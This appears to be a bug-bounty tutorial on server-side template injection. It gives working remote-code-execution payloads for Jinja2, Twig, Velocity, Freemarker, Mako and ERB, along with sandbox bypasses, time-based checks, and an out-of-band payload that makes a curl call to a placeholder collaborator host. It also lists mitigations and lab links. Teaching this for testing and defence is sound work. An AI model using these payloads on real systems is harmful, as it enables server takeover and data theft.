Quick answer
SSTI happens when user input ends up inside a template rendered server-side. Most engines (Jinja2, Twig, Velocity, Freemarker, Mako, ERB) allow calling methods of the host language → fast escalation to RCE. Detect with the polyglot ${{<%[%'"}}%\ which breaks almost any engine. Identify with {{7*7}} and variants. Typical bounties: €2,000-€10,000 (RCE).
Typical vectors
Apps that generate emails/PDFs/dynamic responses from templates are usually candidates:
- Email customization: "Welcome {{user.name}}" where
user.namecomes from the client. - Notification settings: subject template with placeholders.
- Error messages: with interpolated variables (some frameworks).
- Reporting builders: define a template, out comes a PDF.
- Legal/contract documents generated with user data.
- CMS where the editor inserts templates with variables.
Detection
Universal polyglot
${{<%[%'"}}%\
This string breaks the syntax of almost every template engine. If the response changes (500 error, broken page) → possible SSTI.
Engine identification
Initial test: {{7*7}}.
| Output | Likely engine |
|---|---|
49 | Jinja2, Twig |
7777777 | Twig (with string concat) |
{{7*7}} (literal) | No SSTI (the template isn't interpreted) |
| Error | Possible different engine |
Differentiator test Jinja2 vs Twig:
{{7*'7'}}
| Output | Engine |
|---|---|
7777777 | Jinja2 |
49 (numeric) | Twig |
For Java engines (Velocity, Freemarker):
${7*7}
If it returns 49 → Velocity, Freemarker, or similar.
For ERB (Ruby): <%= 7*7 %>.
Escalation to RCE
Jinja2 (Python)
Jinja2 is the most common. Escape the sandbox via object chains:
{{ ''.__class__.__mro__[1].__subclasses__() }}
Returns a list of subclasses. Identify the index of subprocess.Popen or similar.
{{ ''.__class__.__mro__[1].__subclasses__()[XXX]('id', shell=True, stdout=-1).communicate()[0] }}
Variants depending on the Python version and available subclasses. More recent:
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
Twig (PHP)
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}
Or a more modern bypass:
{{["id"]|filter("system")}}
Velocity (Java)
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id")
Freemarker (Java)
<#assign value="freemarker.template.utility.Execute"?new()>
${value("id")}
Mako (Python)
<%
import os
x=os.popen('id').read()
%>
${x}
ERB (Ruby)
<%= `id` %>
<%= system('id') %>
<%= IO.popen('id').read %>
SSTI sandbox bypasses
Modern engines have a sandbox that blocks __class__, __subclasses__, etc. Bypasses:
Jinja2 sandbox bypass
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
If request or config are in the context, they are a source of globals.
Restricted filters
If __class__ is blocked but attr isn't:
{{ ''|attr('__class__')|attr('__mro__')[1]|attr('__subclasses__')() }}
Blind SSTI
If there's no visible output:
Time-based
{{ '7'*999999999 }} # huge string, observable lag
{{ 'x'*99 if 7*7 == 49 else 'y' }} # conditional timing
OOB
{{ ''.__class__.__mro__[1].__subclasses__()[XXX]('curl yourcollab.collab.tld/SSTI', shell=True, stdout=-1) }}
Burp Collaborator captures the hit.
Typical endpoints where you find it
- Email customization in notification settings.
- Broadcast email subjects.
- PDF generators with customizable templates.
- Error pages with variables (rarer but real).
- Reporting with queries that produce formatted output.
- CMS with editable widgets/plugins.
- Newsletters with user-editable templates and preview.
Blind detection when you don't see output
# Jinja2
{{ '{}'.format(7*7) }} # only returns 49 if it interpolates
{{ self.__init__.__globals__.__builtins__.__import__('time').sleep(5) }}
Time-based + OOB are your two friends when it's blind.
Hunting checklist
- Are there endpoints where the client can write content that appears in emails, PDFs, reports?
- Is there a template "preview"? Direct vector.
- Try the polyglot
${{<%[%'"}}%\and observe errors? - Does
{{7*7}}return49? → SSTI confirmed. - Does the engine allow access to globals/builtins? Try
__class__. - If the sandbox blocks it, try variants with
attr(),request.application,config? - Blind: time-based + OOB with Collaborator?
Correct mitigation
- Do NOT render templates with user input. Use
{{ user_input }}as data, never{{ template_string }}. - Sandboxed environment of the template engine when users do write templates (e.g., Jinja2 SandboxedEnvironment).
- Strict whitelist of allowed variables/functions (no
__class__,__import__, etc.). - Logical/visual templates (Liquid) that don't allow arbitrary Python/Ruby code.
- Input validation before passing to the template.
Related labs
Practice detection, engine identification and SSTI escalation to RCE in Jinja2, Twig and Velocity: SSTI labs.
Practice this in a lab
Ssti
Keep learning · free account
Save your progress, unlock advanced payloads and rank your flags.
Related articles
SQL Injection — complete methodology with time-based, UNION and RCE
Detection via isomorphic queries, time-based payloads for 4 engines, escalation to RCE (xp_cmdshell, INTO OUTFILE, UDFs) and cross-field bypasses.
Command Injection — bypasses with spaces, encoding and backticks
Command injection in endpoints that pass input to the shell. Filter bypasses: ${IFS}, $@, ;|&, encoded null bytes, output redirection to a file.
Headless browsers — SSRF and RCE in endpoints that render URLs
Endpoints that accept URLs for screenshots/PDF (Puppeteer, Playwright, wkhtmltopdf) are an SSRF goldmine: cloud metadata, file://, gopher://, JS injection with XSS-to-RCE in the chromium sandbox.